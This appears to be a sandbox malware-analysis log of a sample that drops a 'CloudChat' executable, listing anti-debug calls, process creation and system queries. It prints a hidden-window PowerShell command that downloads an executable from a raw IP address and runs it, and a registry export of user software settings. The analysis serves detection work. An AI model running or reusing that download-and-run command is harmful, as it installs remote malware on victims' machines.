Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp	Binary or memory string: yuv420pyuyv422rgb24bgr24yuv422pyuv444pyuv410pyuv411pgray8,y8monowmonobpal8yuvj420pyuvj422pyuvj444pxvmcmcxvmcidctuyvy422uyyvyy411bgr8bgr4bgr4_bytergb8rgb4rgb4_bytenv12nv21argbrgbaabgrbgragray16bey16begray16ley16leyuv440pyuvj440pyuva420pvdpau_h264vdpau_mpeg1vdpau_mpeg2vdpau_wmv3vdpau_vc1rgb48bergb48lergb565bergb565lergb555bergb555lebgr565bebgr565lebgr555bebgr555levaapi_mocovaapi_idctvaapi_vldyuv420p16leyuv420p16beyuv422p16leyuv422p16beyuv444p16leyuv444p16bevdpau_mpeg4dxva2_vldrgb444lergb444bebgr444lebgr444beya8gray8abgr48bebgr48leyuv420p9beyuv420p9leyuv420p10beyuv420p10leyuv422p10beyuv422p10leyuv444p9beyuv444p9leyuv444p10beyuv444p10leyuv422p9beyuv422p9levda_vldgbrpgbrp9begbrp9legbrp10begbrp10legbrp16begbrp16leyuva422pyuva444pyuva420p9beyuva420p9leyuva422p9beyuva422p9leyuva444p9beyuva444p9leyuva420p10beyuva420p10leyuva422p10beyuva422p10leyuva444p10beyuva444p10leyuva420p16beyuva420p16leyuva422p16beyuva422p16leyuva444p16beyuva444p16levdpauxyz12lexyz12benv16nv20lenv20bergba64bergba64lebgra64bebgra64leyvyu422vdaya16beya16legbrapgbrap16begbrap16leqsvmmald3d11va_vldcuda0rgbrgb00bgrbgr0yuv420p12beyuv420p12leyuv420p14beyuv420p14leyuv422p12beyuv422p12leyuv422p14beyuv422p14leyuv444p12beyuv444p12leyuv444p14beyuv444p14legbrp12begbrp12legbrp14begbrp14leyuvj411pbayer_bggr8bayer_rggb8bayer_gbrg8bayer_grbg8bayer_bggr16lebayer_bggr16bebayer_rggb16lebayer_rggb16bebayer_gbrg16lebayer_gbrg16bebayer_grbg16lebayer_grbg16beyuv440p10leyuv440p10beyuv440p12leyuv440p12beayuv64leayuv64bevideotoolbox_vldp010lep010begbrap12begbrap12legbrap10begbrap10lemediacodecgray12bey12begray12ley12legray10bey10begray10ley10lep016lep016bed3d11gray9bey9begray9ley9legbrpf32begbrpf32legbrapf32begbrapf32ledrm_primegbrchroma-derived-ncchroma-derived-cictcprgb32bgr32vaapi
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp	Binary or memory string: xvmcidct
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ~srvMci
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.0000000006652000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .?AVQEmulationPaintEngine@@<R
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.0000000006652000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .?AVQEmulationPaintEngine@@

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 0_2_00007FF6929FB4F8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6929FB4F8

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

3_2_00007FF8B7E4E380

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 0_2_00007FF692A04690 GetProcessHeap,

0_2_00007FF692A04690

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF6929FB4F8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6929FB4F8
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF6929EC840 SetUnhandledExceptionFilter,	0_2_00007FF6929EC840
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF6929EBE00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6929EBE00
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF6929EC69C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6929EC69C
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF6929FB4F8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF6929FB4F8
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF6929EC840 SetUnhandledExceptionFilter,	3_2_00007FF6929EC840
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF6929EBE00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF6929EBE00
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF6929EC69C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF6929EC69C
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8ABF0F4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8A8ABF0F4
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7831390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7831390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7831960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7831960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7841390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7841390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7841960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7841960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7891390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7891390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7891960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7891960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78A1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B78A1390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78A1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B78A1960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78B1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B78B1390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78B1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B78B1960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78C1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B78C1390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78C1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B78C1960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7DE1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7DE1960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7DE1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7DE1390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7DF1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7DF1960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7DF1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7DF1390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E01960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7E01960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E01390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7E01390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E11960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7E11960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E11390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7E11390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E21960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7E21960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E21390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7E21390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E31960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF8B7E31960
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E31390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF8B7E31390
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E4382C SetUnhandledExceptionFilter,	3_2_00007FF8B7E4382C

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Process created: C:\Users\user\Desktop\LIccs3x2LZ.exe "C:\Users\user\Desktop\LIccs3x2LZ.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process created: C:\Windows\SysWOW64\reg.exe "reg" EXPORT "HKEY_CURRENT_USER\SOFTWARE" "C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UserSOFTWARE.reg" /y	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "$machinename = $env:computername; $path = join-path -path $env:temp -childpath 'guidguidguid.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machinename; invoke-webrequest -uri $uri -outfile $path; start-process $path"

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 0_2_00007FF692A0A780 cpuid

0_2_00007FF692A0A780

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\Desktop\LIccs3x2LZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI71322 VolumeInformation	Jump to behavior
